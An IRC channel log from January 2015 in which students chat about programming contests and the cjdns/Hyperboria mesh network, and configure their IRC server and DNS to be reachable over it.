[2015-01-04T14:53:52-0500] <+JacobEdelman> Pharyngeal: what areas of cs/math are you into?
[2015-01-04T14:54:07-0500] <Pharyngeal> Networking and Security
[2015-01-04T14:54:10-0500] <+Tamini> ooh :O
[2015-01-04T14:54:49-0500] <ubuntor> awesome
[2015-01-04T14:54:49-0500] <+JacobEdelman> Pharyngeal: have you done CTFs?
[2015-01-04T14:55:17-0500] <alokpathy> Pharyngeal: Lol a lot of people here came from the picoctf irc.
[2015-01-04T14:55:44-0500] <Pharyngeal> No, I have not, and looking at my logs, it was #hshackers on freenode
[2015-01-04T14:56:08-0500] <@awe> Pharyngeal: I told you it was JacobEdelman!
[2015-01-04T14:56:19-0500] <@awe> I know because the only people I invited here were alokpathy and JacobEdelman.
[2015-01-04T14:56:23-0500] <@awe> They got everyone else.
[2015-01-04T14:56:33-0500] <+JacobEdelman> Pharyngeal: you have any interesting projects? (aka: what is your github username so I can stalk you)
[2015-01-04T14:58:20-0500] <Pharyngeal> No, I don't have any interesting projects at the moment
[2015-01-04T14:58:54-0500] <+JacobEdelman> ah, okay
[2015-01-04T14:59:19-0500] <+JacobEdelman> last question:
[2015-01-04T14:59:20-0500] <alokpathy> Pharyngeal: Describe yourself in a 500 word essay.
[2015-01-04T14:59:30-0500] <+JacobEdelman> oh, well thats a good quesiton too
[2015-01-04T14:59:36-0500] <+JacobEdelman> I've got a better one
[2015-01-04T14:59:48-0500] <Pharyngeal> I did that once, for a ClueNet account
[2015-01-04T14:59:55-0500] <+JacobEdelman> Pharyngeal: Describe yourself in a 5 word essay.
[2015-01-04T15:01:32-0500] <Pharyngeal> JacobEdelman: Confused pseudo crypto-anarchist, I think?
[2015-01-04T15:01:48-0500] <@awe> Beautiful.
[2015-01-04T15:01:56-0500] <+JacobEdelman> nice
[2015-01-04T15:02:01-0500] <@awe> I wish that Pdgn was invitational so that I could require everyone to answer that question before they join.
[2015-01-04T15:02:02-0500] <+JacobEdelman> you'll fit right in here
[2015-01-04T15:02:23-0500] <+JacobEdelman> awe: don't worry, I interview anyone who joins here in a manner like this
[2015-01-04T15:02:31-0500] <+JacobEdelman> except I don't tink I've done zrl
[2015-01-04T15:02:34-0500] <+JacobEdelman> zrl !
[2015-01-04T15:02:45-0500] <+Tamini> lol
[2015-01-04T15:02:46-0500] <@awe> I'd like to have a collection of five-word self-describing essays about everyone though.
[2015-01-04T15:02:59-0500] <+Tamini> i am the pdgn genius?
[2015-01-04T15:02:59-0500] <+Tamini> :P
[2015-01-04T15:03:02-0500] <jwoglom> lol no one asked me anything when i randomly appeared
[2015-01-04T15:03:02-0500] <mailbot> jwoglom: 12 hours ago, nezorg said cloud + sentience = skynet, make it so.
[2015-01-04T15:03:02-0500] <mailbot> jwoglom: 12 hours ago, nezorg said tell hardmath123 that.
[2015-01-04T15:03:08-0500] <jwoglom> odamn, pings
[2015-01-04T15:03:24-0500] <+hardmath123> you know
[2015-01-04T15:03:27-0500] <+hardmath123> you can make skynet another way
[2015-01-04T15:03:39-0500] <@awe> @possible skynet
[2015-01-04T15:03:42-0500] <@awe> owait
[2015-01-04T15:03:47-0500] <+hardmath123> awe: he's in #study :)
[2015-01-04T15:03:48-0500] <@awe> Yeah.
[2015-01-04T15:03:51-0500] <@awe> I remembered.
[2015-01-04T15:10:24-0500] <+hardmath123> awe: we're running ngircd right?
[2015-01-04T15:10:31-0500] <@awe> ?
[2015-01-04T15:10:31-0500] <@awe> No
[2015-01-04T15:10:36-0500] <@awe> We're running InspIRCd.
[2015-01-04T15:10:52-0500] <@awe> Technically, we're running a very slightly modified InspIRCd.
[2015-01-04T15:11:56-0500] <ubuntor> anyone going to shmoocon?
[2015-01-04T15:12:13-0500] <@awe> I don't know what that is.
[2015-01-04T15:12:49-0500] <ubuntor> http://www.shmoocon.org/
[2015-01-04T15:13:16-0500] <Pharyngeal> I still think someone should peer the ircd with hyperboria ;)
[2015-01-04T15:14:04-0500] <+hardmath123> jwoglom: i can't find a channel-mute mode
[2015-01-04T15:14:06-0500] <+hardmath123> jwoglom: https://wiki.inspircd.org/2.0/Channel_Modes#Core_Modes
[2015-01-04T15:14:44-0500] <+hardmath123> jwoglom: i can unvoice everyone and then do +m
[2015-01-04T15:14:54-0500] <@awe> https://twitter.com/tweetnacl
[2015-01-04T15:14:54-0500] <@awe> lol.
[2015-01-04T15:15:38-0500] <jwoglom> hardmath123: huh, ok. freenode has +m
[2015-01-04T15:15:45-0500] <jwoglom> (silences everyone w/o voice)
[2015-01-04T15:15:51-0500] <jwoglom> but i know other ircds don't have that
[2015-01-04T15:16:08-0500] <@awe> We do, too.
[2015-01-04T15:16:19-0500] awe sets mode +m
[2015-01-04T15:16:20-0500] <@awe> Talk.
[2015-01-04T15:16:25-0500] <@awe> Owait, you can't.
[2015-01-04T15:16:27-0500] <+hardmath123> :P
[2015-01-04T15:16:29-0500] <@awe> hardmath123: can.
[2015-01-04T15:16:29-0500] <@awe> :D
[2015-01-04T15:16:34-0500] awe sets mode -m
[2015-01-04T15:16:36-0500] <@awe> See.
[2015-01-04T15:16:47-0500] <alokpathy> Wrong channel awe :P
[2015-01-04T15:16:54-0500] <+Tamini> lol
[2015-01-04T15:16:55-0500] <@awe> I was just showing that it works.
[2015-01-04T15:17:17-0500] <alokpathy> Oh okay
[2015-01-04T15:21:45-0500] <@awe> I'm going to restart mailbot.
[2015-01-04T15:22:00-0500] <@awe> Well, in a sec.
[2015-01-04T15:22:06-0500] <+hardmath123> are there any pending messages?
[2015-01-04T15:22:11-0500] <@awe> Doesn't matter.
[2015-01-04T15:22:25-0500] <@awe> Restarting mailbot doesn't get rid of messages.
[2015-01-04T15:22:32-0500] <Pharyngeal> Anyone want to peer ;)
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[2015-01-04T15:24:51-0500] <+hardmath123> peer?
[2015-01-04T15:24:56-0500] <@awe> Pharyngeal: I feel like doing it on a laptop is a bad idea.
[2015-01-04T15:25:14-0500] <Pharyngeal> Right, I really meant VPSes, which people could then peer their laptops to
[2015-01-04T15:25:18-0500] <Pharyngeal> hardmath123: With hyperboria
[2015-01-04T15:25:33-0500] <@awe> I can peer on my ZNC one, I suppose.
[2015-01-04T15:25:50-0500] <Pharyngeal> awe: It'd be cool if this ircd had a hype address
[2015-01-04T15:26:19-0500] <Pharyngeal> Also, anyone in need of a keybase invite?
[2015-01-04T15:26:27-0500] <@awe> I think everybody is in on that already.
[2015-01-04T15:26:48-0500] <Pharyngeal> I thought so
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[2015-01-04T15:26:57-0500] <@awe> there we go, mailbot is back up.
[2015-01-04T15:27:09-0500] <@awe> would've been shorter but I forgot to rustup before taking him down.
[2015-01-04T15:29:33-0500] <@awe> Pharyngeal: does CJ stand for the author's name?
[2015-01-04T15:29:49-0500] <Pharyngeal> Yes, and so does the D
[2015-01-04T15:29:57-0500] <Pharyngeal> Caleb James DeLisle
[2015-01-04T15:30:47-0500] <@awe> I kind of hate that a little.
[2015-01-04T15:30:58-0500] <Pharyngeal> The naming?
[2015-01-04T15:30:59-0500] <@awe> But whatever.
[2015-01-04T15:31:06-0500] <@awe> The idea of naming it after yourself.
[2015-01-04T15:31:29-0500] <Pharyngeal> I find it a tad confusing, because of the "dns" bit
[2015-01-04T15:31:32-0500] <@awe> Yeah.
[2015-01-04T15:31:36-0500] <@awe> Me too.
[2015-01-04T15:31:43-0500] <Pharyngeal> Oh well
[2015-01-04T15:33:03-0500] • Pharyngeal: is working through the rust guide now
[2015-01-04T15:33:24-0500] • awe: is working through the cjdns guide now.
[2015-01-04T15:33:25-0500] <@awe> lol
[2015-01-04T15:35:45-0500] <Pharyngeal> Heh
[2015-01-04T15:35:47-0500] <Pharyngeal> It's alpha
[2015-01-04T15:36:01-0500] <Pharyngeal> But, for alpha, it works impressively well imo
[2015-01-04T15:36:50-0500] <@awe> Rust is pre-1.0 but it works impressivley well imo
[2015-01-04T15:37:02-0500] <@awe> Okay, so, I'm ready to peer.
[2015-01-04T15:37:57-0500] <Pharyngeal> awe: Which machine? And where is it located?
[2015-01-04T15:38:11-0500] <@awe> My VPS for ZNC.
[2015-01-04T15:38:15-0500] <@awe> It's located in New York City.
[2015-01-04T15:38:38-0500] <Pharyngeal> awe: Is it DigitalOcean?
[2015-01-04T15:38:51-0500] <@awe> Yes.
[2015-01-04T15:39:15-0500] <Pharyngeal> awe: Then we can peer with internal addresses to save bandwidth. Do you have one? Also, nyc2 or nyc3
[2015-01-04T15:39:29-0500] <@awe> I don't have one.
[2015-01-04T15:39:32-0500] <@awe> And uhh... Let me check.
[2015-01-04T15:40:21-0500] <@awe> nyc3.
[2015-01-04T15:40:41-0500] <@awe> Ah, shit.
[2015-01-04T15:40:44-0500] <Pharyngeal> Set it up with an internal address, and we can peer from nyc3
[2015-01-04T15:40:46-0500] <@awe> I have to turn off my VPS.
[2015-01-04T15:40:48-0500] <@awe> Okay.
[2015-01-04T15:40:51-0500] <Pharyngeal> Ah =/
[2015-01-04T15:41:02-0500] <@awe> It's not that big of a deal, but Tamini and Hyper are going to drop for a sec.
[2015-01-04T15:41:18-0500] <@awe> Let's do a kernel update too while we're at it.
[2015-01-04T15:42:24-0500] <@awe> I'll return in a bit.
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[2015-01-04T15:46:44-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-04T15:46:44-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-04T15:46:44-0500] Pidgey sets mode +o awe
[2015-01-04T15:46:46-0500] <@awe> Okay.
[2015-01-04T15:46:48-0500] Mode is +ns
[2015-01-04T15:46:50-0500] <@awe> Hyper: is already back.
[2015-01-04T15:46:54-0500] <@awe> Tamini is not yet.
[2015-01-04T15:46:57-0500] <alokpathy> rip Tamini
[2015-01-04T15:47:08-0500] <Hyper> what happend?
[2015-01-04T15:47:16-0500] <alokpathy> Pharyngeal: You're a CS major, right?
[2015-01-04T15:47:21-0500] <Pharyngeal> alokpathy: Yes
[2015-01-04T15:47:24-0500] <+JacobEdelman> Pharyngeal: yup
[2015-01-04T15:47:28-0500] <Pharyngeal> JacobEdelman: Never had Gandhi
[2015-01-04T15:47:29-0500] <+JacobEdelman> Pharyngeal: he's my cousin
[2015-01-04T15:47:38-0500] <@awe> Hyper: sorry, I had to restart my vps.
[2015-01-04T15:47:39-0500] <+JacobEdelman> Pharyngeal: (nick is my cousin)
[2015-01-04T15:47:42-0500] <+hardmath123> JacobEdelman: #study is now muted by design.
[2015-01-04T15:47:42-0500] <Hyper> ah
[2015-01-04T15:47:52-0500] <+JacobEdelman> Pharyngeal: how'd you know him?
[2015-01-04T15:47:56-0500] Tamini has userhost Tamini@pdgn-4jd.4t2.2bemd8.IP and real name "Ashley"
[2015-01-04T15:47:56-0500] Tamini is connecting from Tamini@104.236.15.100 104.236.15.100
[2015-01-04T15:47:56-0500] Tamini is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-04T15:47:56-0500] Tamini is using modes +x
[2015-01-04T15:47:56-0500] Tamini is using a secure connection
[2015-01-04T15:47:56-0500] Tamini signed on at January 4, 2015 at 3:47:07 PM EST and has been idle for 52 seconds
[2015-01-04T15:47:59-0500] <@awe> Oh, Tamini is online
[2015-01-04T15:48:04-0500] <+JacobEdelman> hardmath123: okay
[2015-01-04T15:48:06-0500] <@awe> She's just not set to autojoin any channels .-.
[2015-01-04T15:48:10-0500] <Pharyngeal> JacobEdelman: Ah! I actually met him when I was in high school. My school went to the PClassic and he was one of the organizers
[2015-01-04T15:48:10-0500] Inviting Tamini to join #pdgn
[2015-01-04T15:48:18-0500] <@awe> Pharyngeal: Same here.
[2015-01-04T15:48:21-0500] <+JacobEdelman> Pharyngeal: what year? and how'd you do?
[2015-01-04T15:48:24-0500] <+hardmath123> awe: but is still pmable?
[2015-01-04T15:48:30-0500] <@awe> hardmath123: ?
[2015-01-04T15:48:36-0500] <@awe> hardmath123: Yes, she's online.
[2015-01-04T15:48:42-0500] <Pharyngeal> I don't remember, 2011? idr
[2015-01-04T15:48:55-0500] <alokpathy> Pharyngeal: Do you organize PClassic?
[2015-01-04T15:49:04-0500] Tam (Tamini@pdgn-lcu.rjq.2ssb8g.IP) joined the channel
[2015-01-04T15:49:18-0500] <@awe> Tam: sorry, my vps is back
[2015-01-04T15:49:21-0500] <Pharyngeal> I helped write problems for it once, but no, I'm not too involved with the Dining Philosophers anymore
[2015-01-04T15:49:23-0500] <+JacobEdelman> Pharyngeal: ah, so before I did it
[2015-01-04T15:49:26-0500] <@awe> Tam: you can connect to ZNC again.
[2015-01-04T15:49:29-0500] <Tam> wait uh
[2015-01-04T15:49:30-0500] <Tam> yeah i just did
[2015-01-04T15:49:35-0500] <Tam> but one sec
[2015-01-04T15:49:43-0500] <alokpathy> Pharyngeal: You should help run PClassic 2015s :P
[2015-01-04T15:49:47-0500] <alokpathy> Tam: JacobEdelman and I will be there.
[2015-01-04T15:49:50-0500] <alokpathy> Oh, and ubuntor 
[2015-01-04T15:49:51-0500] <+JacobEdelman> Pharyngeal: the people on here are almost a superset of the top 3 teams for Pclassic
[2015-01-04T15:49:57-0500] <ubuntor> hm?
[2015-01-04T15:49:58-0500] <+JacobEdelman> alokpathy: and Tamini
[2015-01-04T15:50:08-0500] <Tam> lol
[2015-01-04T15:50:09-0500] <alokpathy> JacobEdelman: I said Tam 
[2015-01-04T15:50:10-0500] <Pharyngeal> Were you guys at 2014f?
[2015-01-04T15:50:11-0500] <+JacobEdelman> ubuntor: talking about Pclassic
[2015-01-04T15:50:15-0500] <Tam> wait one second
[2015-01-04T15:50:15-0500] <alokpathy> Pharyngeal: Yeah.
[2015-01-04T15:50:15-0500] <ubuntor> oh, ok
[2015-01-04T15:50:16-0500] <Tam> uh
[2015-01-04T15:50:20-0500] <Tam> what the hell
[2015-01-04T15:50:22-0500] <@awe> Pharyngeal: ye
[2015-01-04T15:50:23-0500] <alokpathy> Pharyngeal: We've gone to the past few PClassics
[2015-01-04T15:50:25-0500] <Pharyngeal> I was walking around at one point
[2015-01-04T15:50:32-0500] <+JacobEdelman> ah, say hi to us next time
[2015-01-04T15:50:33-0500] <alokpathy> Oh hm
[2015-01-04T15:50:37-0500] <Pharyngeal> I didn't know xD
[2015-01-04T15:50:38-0500] <+JacobEdelman> also, do pennapps
[2015-01-04T15:50:41-0500] <Tam> awe: uh
[2015-01-04T15:50:44-0500] <@awe> Pharyngeal: I think that was the one where I was third place, alokpathy was second place, and Tam was first place.
[2015-01-04T15:50:46-0500] <Tam> dude
[2015-01-04T15:50:49-0500] <@awe> yeah?
[2015-01-04T15:50:49-0500] <Tam> i cant ghost myself
[2015-01-04T15:50:56-0500] <Tam> uh
[2015-01-04T15:50:58-0500] <Tam> one second
[2015-01-04T15:50:58-0500] Tam has userhost Tamini@pdgn-lcu.rjq.2ssb8g.IP and real name "realname"
[2015-01-04T15:50:59-0500] Tam is connecting from Tamini@ip68-98-136-141.dc.dc.cox.net 68.98.136.141
[2015-01-04T15:50:59-0500] Tam is on #pdgn #relationships #study 
[2015-01-04T15:50:59-0500] Tam is connected on irc.pdgn.co (Pidgeon Company)
[2015-01-04T15:50:59-0500] Tam is using modes +x
[2015-01-04T15:50:59-0500] Tam is using a secure connection
[2015-01-04T15:50:59-0500] Tam signed on at January 4, 2015 at 3:48:59 PM EST and has been idle for 0 seconds
[2015-01-04T15:50:59-0500] <Tam> jesus christ
[2015-01-04T15:51:05-0500] Tam (Tamini@pdgn-lcu.rjq.2ssb8g.IP) left IRC (Quit: Leaving)
[2015-01-04T15:51:05-0500] <@awe> No, connect to my VPS again
[2015-01-04T15:51:07-0500] <@awe> .-.
[2015-01-04T15:51:08-0500] <+JacobEdelman> (I now have 3 3rd places trophies, its getting repetitive :P)
[2015-01-04T15:51:11-0500] <@awe> wat r u doin?
[2015-01-04T15:51:14-0500] <alokpathy> awe: Oh, no that's 2014s
[2015-01-04T15:51:17-0500] <@awe> alokpathy: oh okay
[2015-01-04T15:51:20-0500] <alokpathy> 2014f was the most recent one.
[2015-01-04T15:51:23-0500] <@awe> Oh.
[2015-01-04T15:51:32-0500] Tam (Tamini@pdgn-lcu.rjq.2ssb8g.IP) joined the channel
[2015-01-04T15:51:38-0500] <Tam> awe.
[2015-01-04T15:51:40-0500] <Tam> something borked
[2015-01-04T15:51:49-0500] <nezorg> hey vim users: https://mjambon.github.io/vim-vs-emacs/ ;)
[2015-01-04T15:51:50-0500] <@awe> what borked?
[2015-01-04T15:52:24-0500] <ubuntor> ...is that an editor war study
[2015-01-04T15:52:27-0500] <ubuntor> wat
[2015-01-04T15:52:33-0500] <alokpathy> nezorg: lolol
[2015-01-04T15:52:47-0500] <nezorg> ubuntor: academics use editors too
[2015-01-04T15:53:31-0500] <Tam> nezorg: <3
[2015-01-04T15:53:46-0500] <ubuntor> rip, fooled me
[2015-01-04T15:53:50-0500] <alokpathy> nezorg: Did the workshop happen?
[2015-01-04T15:53:58-0500] <nezorg> alokpathy: uhhhhhhh
[2015-01-04T15:54:00-0500] <nezorg> :/
[2015-01-04T15:54:15-0500] <alokpathy> Is that a no?
[2015-01-04T15:54:19-0500] <nezorg> correct
[2015-01-04T15:54:24-0500] <alokpathy> Oh dang
[2015-01-04T15:54:33-0500] <alokpathy> Did something go wrong?
[2015-01-04T15:54:33-0500] <nezorg> i had things to do that i forgot about
[2015-01-04T15:54:45-0500] <alokpathy> :/
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[2015-01-04T15:54:51-0500] <Tamini> Tam: I don't know what you're doing wrong, but it works for me.
[2015-01-04T15:54:58-0500] <alokpathy> wat
[2015-01-04T15:55:04-0500] <alokpathy> Tamini: ?
[2015-01-04T15:55:08-0500] <@awe> That was me.
[2015-01-04T15:55:08-0500] <Tam> lemmme try again
[2015-01-04T15:55:12-0500] <Tam> alokpathy: bouncer is having issues
[2015-01-04T15:55:17-0500] <alokpathy> Oh okay
[2015-01-04T15:55:28-0500] <@awe> N. Tam is having issues with the bouncer.
[2015-01-04T15:55:33-0500] <@awe> The bouncer is working fine.
[2015-01-04T15:55:34-0500] <@awe> :p
[2015-01-04T15:55:50-0500] <Tam> ugh fine
[2015-01-04T15:55:51-0500] <Tam> uh
[2015-01-04T15:55:55-0500] <Tam> still no
[2015-01-04T15:55:56-0500] <Tam> ._.
[2015-01-04T15:56:07-0500] <+hardmath123> Tam: #study is now muted during studytime. fyi.
[2015-01-04T15:56:16-0500] <Tam> im proud of you <3
[2015-01-04T15:56:21-0500] <Tam> lemme fix this first
[2015-01-04T15:56:24-0500] <Tam> i have orgo hw out
[2015-01-04T15:56:50-0500] <+hardmath123> nezorg: i clicked "download pdf"
[2015-01-04T15:56:53-0500] <+hardmath123> nezorg: and was sent to https://mjambon.github.io/vim-vs-emacs/notfound
[2015-01-04T15:56:55-0500] <+hardmath123> :(
[2015-01-04T15:57:02-0500] <Tamini> uh
[2015-01-04T15:57:04-0500] <Tamini> yay
[2015-01-04T15:57:06-0500] <Tamini> LOL
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[2015-01-04T15:57:31-0500] <Tamini> awe im sorry
[2015-01-04T15:57:34-0500] <Tamini> i have done much wrong :P
[2015-01-04T15:57:53-0500] <@awe> No big deal.
[2015-01-04T15:57:54-0500] <jwoglom> hardmath123: lolwat it actually links to "notfound"
[2015-01-04T15:58:10-0500] <jwoglom> <a href="notfound" title="Download" target="_blank">Download PDF</a>
[2015-01-04T15:58:12-0500] <@awe> Because it's fake.
[2015-01-04T15:58:17-0500] <@awe> Don't you get that?
[2015-01-04T15:58:19-0500] <@awe> It's a fake study.
[2015-01-04T15:58:41-0500] <jwoglom> yeah, yeah, i see that now
[2015-01-04T15:59:04-0500] <@awe> Hence why it''s plos.org but it's just some dude's github
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[2015-01-04T16:00:01-0500] <jwoglom> looked like someone had just saved the page as a mirror or something
[2015-01-04T16:00:07-0500] <jwoglom> but eh, doesn't matter
[2015-01-04T16:01:29-0500] <+hardmath123> guys guys should Study_Bot be changing the /topic or not?
[2015-01-04T16:01:52-0500] <Tamini> yes please
[2015-01-04T16:02:02-0500] <Tamini> (this doesnt seem like studying, smh)
[2015-01-04T16:02:49-0500] <@awe> Sorry, guys. I have to do one more restart. .-.
[2015-01-04T16:03:15-0500] <+JacobEdelman> of what?
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[2015-01-04T16:04:57-0500] <@awe> JacobEdelman: my VPS
[2015-01-04T16:04:59-0500] <alokpathy> hardmath123: You forgot to -m in #study I think
[2015-01-04T16:05:07-0500] <@awe> JacobEdelman: which includes Hyper, myself, and Tamini
[2015-01-04T16:05:08-0500] <jwoglom> awe: a+/10 kill
[2015-01-04T16:05:12-0500] <+JacobEdelman> ah, I guessed that
[2015-01-04T16:05:14-0500] <@awe> JacobEdelman: wat?
[2015-01-04T16:05:16-0500] <+hardmath123> alokpathy: can you talk in there?
[2015-01-04T16:05:19-0500] <@awe> erm
[2015-01-04T16:05:19-0500] <alokpathy> hardmath123: Or, wait, no. It hiccupted.
[2015-01-04T16:05:20-0500] <@awe> jwoglom: wat?
[2015-01-04T16:05:26-0500] <alokpathy> hardmath123: No
[2015-01-04T16:05:34-0500] <+hardmath123> alokpathy: then it's -m.
[2015-01-04T16:05:35-0500] <jwoglom> awe: you and 3 other people died
[2015-01-04T16:05:42-0500] <+hardmath123> alokpathy: I didn't let it +m before killing it.
[2015-01-04T16:05:47-0500] <@awe> JacobEdelman: yeah, me, Tamini, Hyper, mailbot
[2015-01-04T16:05:49-0500] <@awe> erm
[2015-01-04T16:05:50-0500] <@awe> jwoglom: ^
[2015-01-04T16:05:51-0500] <alokpathy> hardmath123: What?
[2015-01-04T16:05:52-0500] <+JacobEdelman> derp++
[2015-01-04T16:05:53-0500] <@awe> jwoglom: all of us run on the same VPS
[2015-01-04T16:05:56-0500] <@awe> !derp++
[2015-01-04T16:05:56-0500] <&Pidgey> There have been 22 derps.
[2015-01-04T16:06:00-0500] <+JacobEdelman> ah, good
[2015-01-04T16:06:05-0500] <alokpathy> Wait
[2015-01-04T16:06:08-0500] <+JacobEdelman> killing 4 people several times counts as one derp
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[2015-01-04T16:06:16-0500] <Tamini_> bleh
[2015-01-04T16:06:17-0500] <alokpathy> JacobEdelman: Ot
[2015-01-04T16:06:19-0500] <@awe> Tamini_: it should be up again?
[2015-01-04T16:06:21-0500] <alokpathy> wow oops
[2015-01-04T16:06:22-0500] <Tamini_> oki
[2015-01-04T16:06:23-0500] <Tamini_> one sec
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[2015-01-04T16:06:41-0500] <alokpathy> hardmath123: Oh, okay. I read it wrong nevermind.
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[2015-01-04T16:07:06-0500] <+hardmath123> oh god
[2015-01-04T16:07:10-0500] <+hardmath123> i got rate-limited
[2015-01-04T16:07:54-0500] <alokpathy> hardmath123: Oh, it's hiccuping a lot lol
[2015-01-04T16:07:59-0500] <+hardmath123> hiccuping?
[2015-01-04T16:08:04-0500] <+JacobEdelman> hardmath123: for torrenting?
[2015-01-04T16:08:12-0500] <+hardmath123> that's me forcibly killling it in the eternal quest to add more features
[2015-01-04T16:08:21-0500] <alokpathy> hardmath123: It's nipping out a lot.
[2015-01-04T16:08:31-0500] <alokpathy> hardmath123: And every time it comes back it resets the study time counter.
[2015-01-04T16:08:44-0500] <+hardmath123> alokpathy: i know. as i said, i'm ^C-ing it and adding feaures.
[2015-01-04T16:08:45-0500] <@awe> You know the findings of that actual study are probably more interesting than the vim vs emacs bullshit.
[2015-01-04T16:08:54-0500] <alokpathy> hardmath123: Oh, okay
[2015-01-04T16:08:58-0500] <+hardmath123> yeah, LaTeX people make mistakes. who knew?
[2015-01-04T16:08:59-0500] <alokpathy> Nevermind then.
[2015-01-04T16:09:03-0500] <@awe> On most measures, expert LaTeX users performed even worse than novice Word users. LaTeX users, however, more often report enjoying using their respective software. We conclude that even experienced LaTeX users may suffer a loss in productivity when LaTeX is used, relative to other document preparation systems.
[2015-01-04T16:11:16-0500] <Tamini> lol
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[2015-01-04T16:11:57-0500] <@awe> sorry again, Hyper.
[2015-01-04T16:12:04-0500] <Hyper> no problem
[2015-01-04T16:38:28-0500] <+JacobEdelman> awe: lark is now ~420 lines
[2015-01-04T16:38:38-0500] <+JacobEdelman> awe: is it a legit project yet?
[2015-01-04T16:39:46-0500] <@awe> 420blazeitfgt
[2015-01-04T16:39:58-0500] <@awe> JacobEdelman: KDE is 22m lines of code.
[2015-01-04T16:41:03-0500] <+JacobEdelman> awe: yes, but I'm not saying Lark is very long
[2015-01-04T16:41:11-0500] <+JacobEdelman> awe: just that its large enough to be legit
[2015-01-04T16:41:25-0500] <+JacobEdelman> awe: so you can't keep saying I havn't done any real projects
[2015-01-04T16:44:17-0500] <@awe> I don't know about that.
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[2015-01-04T18:37:34-0500] <The_Master> awe: starbound
[2015-01-04T18:37:53-0500] <@awe> I'm making dinner right now and working on something with Pharyngeal 
[2015-01-04T18:38:15-0500] <Pharyngeal> I'll be breaking for dinner soon
[2015-01-04T20:00:58-0500] <alokpathy> awe: 4 hours until Shannon's bday
[2015-01-04T20:02:23-0500] <@awe> swaggy.
[2015-01-04T20:05:22-0500] <+hardmath123> whoo just watched Beverley Hills Cop
[2015-01-04T20:05:24-0500] <+hardmath123> that was a good movie
[2015-01-04T20:05:26-0500] <+hardmath123> :D
[2015-01-04T20:09:19-0500] <Pharyngeal> hardmath123: Yes! :)
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[2015-01-04T20:19:44-0500] <@awe> Pharyngeal: I should make my starbound server accessible over hyperboria lol
[2015-01-04T20:20:05-0500] <Pharyngeal> Sure! and tell #hyperboria about it
[2015-01-04T20:20:08-0500] <Pharyngeal> Also, ircd!
[2015-01-04T20:20:25-0500] <@awe> Except I have a feeling that installing it on Windows is going to suck.
[2015-01-04T20:20:41-0500] <@awe> My Starbound server is just running on my desktop because processing power.
[2015-01-04T20:20:50-0500] <@awe> I don't think I have a VPS large enough for it.
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[2015-01-04T20:21:32-0500] <@awe> But yeah, let's work on getting this IRC accessible via hyperboria.
[2015-01-04T20:22:02-0500] <Tamini> awe: LOL
[2015-01-04T20:22:03-0500] <@awe> Pharyngeal: should I try to peer everything through the VPS you're peered with?
[2015-01-04T20:22:04-0500] <Tamini> uh
[2015-01-04T20:22:09-0500] <Tamini> i did something wrong again
[2015-01-04T20:22:11-0500] <Tamini> :D
[2015-01-04T20:22:26-0500] <@awe> Tamini: what's that?
[2015-01-04T20:22:28-0500] <+hardmath123> :D?
[2015-01-04T20:24:06-0500] <Tamini> i cant identify :D
[2015-01-04T20:24:12-0500] <Tamini> wait
[2015-01-04T20:24:17-0500] <Tamini> did i even register
[2015-01-04T20:24:38-0500] <Tamini> yes, yes i did
[2015-01-04T20:24:44-0500] <Tamini> i think i forgot my password again
[2015-01-04T20:24:47-0500] <@awe> .-.
[2015-01-04T20:25:09-0500] <Tamini> im not mentally challenged i swear
[2015-01-04T20:25:09-0500] <Tamini> D:
[2015-01-04T20:29:39-0500] <Pharyngeal> awe: Yeah, you can try that. When you get additional peers, add them to both machines
[2015-01-04T20:29:54-0500] <Pharyngeal> You can ask for more peers in #hyperboria on HypeIRC or on efnet
[2015-01-04T20:30:17-0500] <@awe> So, should I also peer to you directly on my other VPS?
[2015-01-04T20:31:05-0500] <Pharyngeal> You can, but if you're evetually using an internal IP, it doesn't matter all that much
[2015-01-04T20:31:45-0500] <Pharyngeal> I won't mind though. Feel free to add the credential I sent, and you can supply me with a cred for the other machine
[2015-01-04T20:31:46-0500] <Pharyngeal> s
[2015-01-04T20:49:45-0500] <@awe> Okay, it's accessible now.
[2015-01-04T20:49:50-0500] <@awe> Let's add some domains.
[2015-01-04T20:49:52-0500] <@awe> fc97:1cb1:4700:43f5:8d24:d45d:3911:bf36
[2015-01-04T20:50:09-0500] <Pharyngeal> When you add it to DNS, 1) add it to a subdomain, so people with native v6 don't get timeouts
[2015-01-04T20:50:17-0500] <@awe> I know.
[2015-01-04T20:50:23-0500] <Pharyngeal> :)
[2015-01-04T20:50:26-0500] <Pharyngeal> Just making sure :) 
[2015-01-04T20:50:43-0500] <@awe> Although, that's basically nobody since ipv6 adoption is so bad.
[2015-01-04T20:51:40-0500] <@awe> CloudFlare doesn't support IPv6?
[2015-01-04T20:51:48-0500] <@awe> Interesting.
[2015-01-04T20:51:55-0500] <@awe> (Like, actually using the cloudflare service)
[2015-01-04T20:52:02-0500] <@awe> (it works for just setting an AAAA record)
[2015-01-04T20:52:15-0500] <@awe> h.irc.pdgn.co is now up.
[2015-01-04T20:53:02-0500] <@awe> Actually, just use h.pdgn.co
[2015-01-04T20:53:06-0500] <@awe> Actually, I'm not sure.
[2015-01-04T20:53:19-0500] <@awe> I pointed both for now, but I am going to set up a pdgn splash page soon on pdgn.co
[2015-01-04T20:53:27-0500] <@awe> and I wonder if I should make that accessible via hyperboria too.
[2015-01-04T20:53:40-0500] <@awe> The thing is that I was planning on hosting it on GitHub Pages.
[2015-01-04T20:57:42-0500] <Pharyngeal> awe: I don't see an ircd listening there
[2015-01-04T20:57:55-0500] <Pharyngeal> Are its binds specified in config?
[2015-01-04T20:58:03-0500] <@awe> Owait, yeah, gimmie a sec.
[2015-01-04T20:59:11-0500] <@awe> How about now?
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[2015-01-04T20:59:43-0500] <mkv> hi
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[2015-01-04T21:00:00-0500] <@awe> Yeah, it worked.
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[2015-01-04T21:00:16-0500] <@awe> Sorry, I forgot to rebind.
[2015-01-04T21:01:52-0500] <Pharyngeal> awe: Which ports are enableD?
[2015-01-04T21:01:57-0500] <@awe> 6697.
[2015-01-04T21:02:01-0500] <Pharyngeal> coo
[2015-01-04T21:02:04-0500] <Pharyngeal> cool*
[2015-01-04T21:02:05-0500] <@awe> gotta still do ssl
[2015-01-04T21:02:09-0500] <Pharyngeal> I can't type today, apparently.
[2015-01-04T21:02:18-0500] <@awe> (because it's the same binding as the IPv4 one)
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[2015-01-04T21:02:57-0500] <Pharyngeal> \o
[2015-01-04T21:03:37-0500] <@awe> Ima switch too.
